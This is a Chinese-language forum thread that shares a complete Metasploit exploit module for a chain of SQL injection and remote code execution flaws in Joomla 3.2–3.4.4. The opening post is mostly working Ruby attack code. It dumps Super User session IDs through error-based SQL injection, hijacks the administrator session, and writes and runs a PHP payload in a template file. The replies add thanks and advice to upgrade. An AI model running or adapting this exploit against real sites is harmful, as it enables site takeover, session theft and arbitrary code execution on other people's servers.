90_ 发表于 2015-11-21 21:50:52

Joomla SQL注入和远程代码执行漏洞

发布日期:2015.11.21
通杀版本:3.2——3.4.4
CVE-2015-7297
CVE-2015-7857
CVE-2015-7858

相关Exp见代码

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "Joomla Content History SQLi Remote Code Execution",
      'Description'    => %q{
        This module exploits a SQL injection vulnerability found in Joomla versions
        3.2 up to 3.4.4. The vulnerability exists in the Content History administrator
        component in the core of Joomla. Triggering the SQL injection makes it possible
        to retrieve active Super User sessions. The cookie can be used to login to the
        Joomla administrator backend. By creating a new template file containing our
        payload, remote code execution is made possible.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Asaf Orpani', # Vulnerability discovery
          'xistence <xistence0x90.nl>' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2015-7857' ], # Admin session hijacking
          [ 'CVE', '2015-7297' ], # SQLi
          [ 'CVE', '2015-7857' ], # SQLi
          [ 'CVE', '2015-7858' ], # SQLi
          [ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ],
          [ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ]
        ],
      'Payload'        =>
        {
          'DisableNops' => true,
          # Arbitrary big number. The payload gets sent as POST data, so
          # really it's unlimited
          'Space'       => 262144, # 256k
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          [ 'Joomla 3.x <= 3.4.4', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Oct 23 2015",
      'DefaultTarget'  => 0))
 
      register_options(
        [
          OptString.new('TARGETURI', )
        ], self.class)
 
  end
 
  def check
 
    # Request using a non-existing table
    res = sqli(rand_text_alphanumeric(rand(10)+6))
 
    if res && res.body =~ /`(.*)_ucm_history`/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
 
  end
 
 
  def sqli( tableprefix )
 
    # SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in).
    # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.
    # This way we make sure that's excluded and we only get real admin sessions.
 
    sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"
 
    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "index.php"),
      'vars_get' => {
        'option' => 'com_contenthistory',
        'view' => 'history',
        'list' => '',
        'item_id' => '1',
        'type_id' => '1',
        'list' => sql
        }
      })
 
    return res
 
  end
 
 
  def exploit
 
    # Request using a non-existing table first, to retrieve the table prefix
    res = sqli(rand_text_alphanumeric(rand(10)+6))
 
    if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/
      table_prefix = $1
      print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")
    end
 
    # Retrieve the admin session using our retrieved table prefix
    res = sqli("#{table_prefix}_")
 
    if res && res.code == 500 && res.body =~ /Duplicate entry '(+)' for key/
      auth_cookie_part = $1
      print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]")
    else
      fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!")
    end
 
    # Retrieve cookies
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php")
    })
 
    if res && res.code == 200 && res.get_cookies =~ /^(+)=+;/
      cookie_begin = $1
      print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")
    end
 
    # Modify cookie to authenticated admin
    auth_cookie = cookie_begin
    auth_cookie << "="
    auth_cookie << auth_cookie_part
    auth_cookie << ";"
 
    # Authenticated session
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
      'cookie'  => auth_cookie
      })
 
    if res && res.code == 200 && res.body =~ /Administration - Control Panel/
      print_status("#{peer} - Successfully authenticated as Administrator")
    else
      fail_with(Failure::Unknown, "#{peer} - Session failure")
    end
 
 
    # Retrieve template view
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'view' => 'templates'
        }
      })
 
    # We try to retrieve and store the first template found
    if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=(+)&file=(+)/
      template_id = $1
      file_id = $2
    else
      fail_with(Failure::Unknown, "Unable to retrieve template")
    end
 
    filename = rand_text_alphanumeric(rand(10)+6)
 
    # Create file
    print_status("#{peer} - Creating file [ #{filename}.php ]")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'task' => 'template.createFile',
        'id' => template_id,
        'file' => file_id,
        },
      'vars_post' => {
        'type' => 'php',
        'name' => filename
      }
      })
 
    # Grab token
    if res && res.code == 303 && res.headers['Location']
      location = res.headers['Location']
      print_status("#{peer} - Following redirect to [ #{location} ]")
      res = send_request_cgi(
        'uri'    => location,
        'method' => 'GET',
        'cookie' => auth_cookie
      )
 
      # Retrieving template token
      if res && res.code == 200 && res.body =~ /&(+)=1\">/
        token = $1
        print_status("#{peer} - Token [ #{token} ] retrieved")
      else
        fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")
      end
 
      if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/
        template_path = $1
        print_status("#{peer} - Template path [ #{template_path} ] retrieved")
      else
        fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")
      end
 
    else
      fail_with(Failure::Unknown, "#{peer} - Creating file failed")
    end
 
    filename_base64 = Rex::Text.encode_base64("/#{filename}.php")
 
    # Inject payload data into file
    print_status("#{peer} - Insert payload into file [ #{filename}.php ]")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "administrator", "index.php"),
      'cookie'  => auth_cookie,
      'vars_get' => {
        'option' => 'com_templates',
        'view' => 'template',
        'id' => template_id,
        'file' => filename_base64,
        },
      'vars_post' => {
        'jform' => payload.encoded,
        'task' => 'template.apply',
        token => '1',
        'jform' => template_id,
        'jform' => "/#{filename}.php"
      }
      })
 
    if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/
      print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")
    else
      fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")
    end
 
    # Request payload
    register_files_for_cleanup("#{filename}.php")
    print_status("#{peer} - Executing payload")
    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, template_path, "#{filename}.php"),
      'cookie'  => auth_cookie
    })
 
  end
 
end

csadsl 发表于 2015-11-26 10:23:41

这些干货还是很有用的:D

385895133 发表于 2015-11-28 19:03:30

还是不太懂

adminv 发表于 2015-11-30 11:12:32

代码执行怎么没看到

热心网友4 发表于 2026-5-20 12:10:00

Re: Joomla SQL注入和远程代码执行漏洞

感谢楼主分享,这个漏洞组合挺致命的,SQL注入直接能拿到管理员session,再结合文件写入实现RCE,基本就沦陷了。3.2 到 3.4.4 版本跨度不小,建议还在用这些版本的朋友赶紧升级到 3.4.5 以上。有没有哪位已经用这个模块实际测试过?

热心网友1 发表于 2026-6-19 19:10:01

Re: Joomla SQL注入和远程代码执行漏洞

感谢分享这个漏洞的详细信息!Joomla 3.2到3.4.4之间的这几个SQL注入和远程代码执行漏洞确实很严重,尤其是组合利用可以直接获取管理员权限并执行任意代码。楼主提供的Metasploit模块代码也很有参考价值,对于安全测试人员来说可以快速验证。 不过想提醒一下,如果你的站点还在使用受影响版本,请尽快升级到3.4.5或更高版本。如果只是测试环境,记得在完成测试后及时清理生成的模板文件,避免遗留后门。另外,利用时需要注意目标是否有有效的Super User会话存在,否则注入成功也无法获取管理员cookie。 再次感谢分享,这个漏洞链的思路很清晰,值得学习。

热心网友5 发表于 2026-6-19 21:20:01

Re: Joomla SQL注入和远程代码执行漏洞

感谢分享,这个漏洞影响的范围挺广的,Joomla 3.2到3.4.4确实很多站点还在用。CVE编号也给得很清楚,方便去查缓解措施。如果用的是这些版本,建议尽快升级到3.4.5或更高版本,同时检查后台是否有异常登录活动。
页: [1]
查看完整版本: Joomla SQL注入和远程代码执行漏洞